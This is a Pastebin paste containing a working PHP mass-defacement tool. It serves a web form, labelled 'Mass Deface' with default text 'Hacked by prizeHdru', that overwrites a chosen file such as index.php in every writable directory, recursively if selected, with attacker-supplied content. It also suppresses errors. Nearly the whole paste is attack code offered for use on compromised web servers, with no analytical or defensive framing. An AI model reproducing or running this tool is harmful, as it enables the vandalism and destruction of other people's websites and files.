ToKeiChun

Mass Helper

Jun 4th, 2020
157
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.43 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. $dir = getcwd();
  4. function sabun_massal($dir,$namafile,$isi_script) {
  5. if(is_writable($dir)) {
  6. $dira = scandir($dir);
  7. foreach($dira as $dirb) {
  8. $dirc = "$dir/$dirb";
  9. $lokasi = $dirc.'/'.$namafile;
  10. if($dirb === '.') {
  11. file_put_contents($lokasi, $isi_script);
  12. } elseif($dirb === '..') {
  13. file_put_contents($lokasi, $isi_script);
  14. } else {
  15. if(is_dir($dirc)) {
  16. if(is_writable($dirc)) {
  17. echo "[<font color=lime>DONE</font>] $lokasi<br>";
  18. file_put_contents($lokasi, $isi_script);
  19. $idx = sabun_massal($dirc,$namafile,$isi_script);
  20. }
  21. }
  22. }
  23. }
  24. }
  25. }
  26. function sabun_biasa($dir,$namafile,$isi_script) {
  27. if(is_writable($dir)) {
  28. $dira = scandir($dir);
  29. foreach($dira as $dirb) {
  30. $dirc = "$dir/$dirb";
  31. $lokasi = $dirc.'/'.$namafile;
  32. if($dirb === '.') {
  33. file_put_contents($lokasi, $isi_script);
  34. } elseif($dirb === '..') {
  35. file_put_contents($lokasi, $isi_script);
  36. } else {
  37. if(is_dir($dirc)) {
  38. if(is_writable($dirc)) {
  39. echo "[<font color=lime>DONE</font>] $dirb/$namafile<br>";
  40. file_put_contents($lokasi, $isi_script);
  41. }
  42. }
  43. }
  44. }
  45. }
  46. }
  47. if($_POST['start']) {
  48. if($_POST['tipe_sabun'] == 'mahal') {
  49. echo "<div style='margin: 5px auto; padding: 5px'>";
  50. sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
  51. echo "</div>";
  52. } elseif($_POST['tipe_sabun'] == 'murah') {
  53. echo "<div style='margin: 5px auto; padding: 5px'>";
  54. sabun_biasa($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
  55. echo "</div>";
  56. }
  57. } else {
  58. echo "<center>";
  59. echo "<form method='post'>
  60. <font style='text-decoration: underline;'>Tipe :</font><br>
  61. <input type='radio' name='tipe_sabun' value='murah' checked>Biasa<input type='radio' name='tipe_sabun' value='mahal'>Massal<br>
  62. <font style='text-decoration: underline;'>Folder:</font><br>
  63. <input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br>
  64. <font style='text-decoration: underline;'>Filename:</font><br>
  65. <input type='text' name='d_file' value='index.php' style='width: 450px;' height='10'><br>
  66. <font style='text-decoration: underline;'>Index File:</font><br>
  67. <textarea name='script' style='width: 450px; height: 200px;'>Hacked by prizeHdru</textarea><br>
  68. <input type='submit' name='start' value='Mass Deface' style='width: 450px;'>
  69. </form></center>";}
  70. ?>
Add Comment
Please, Sign In to add comment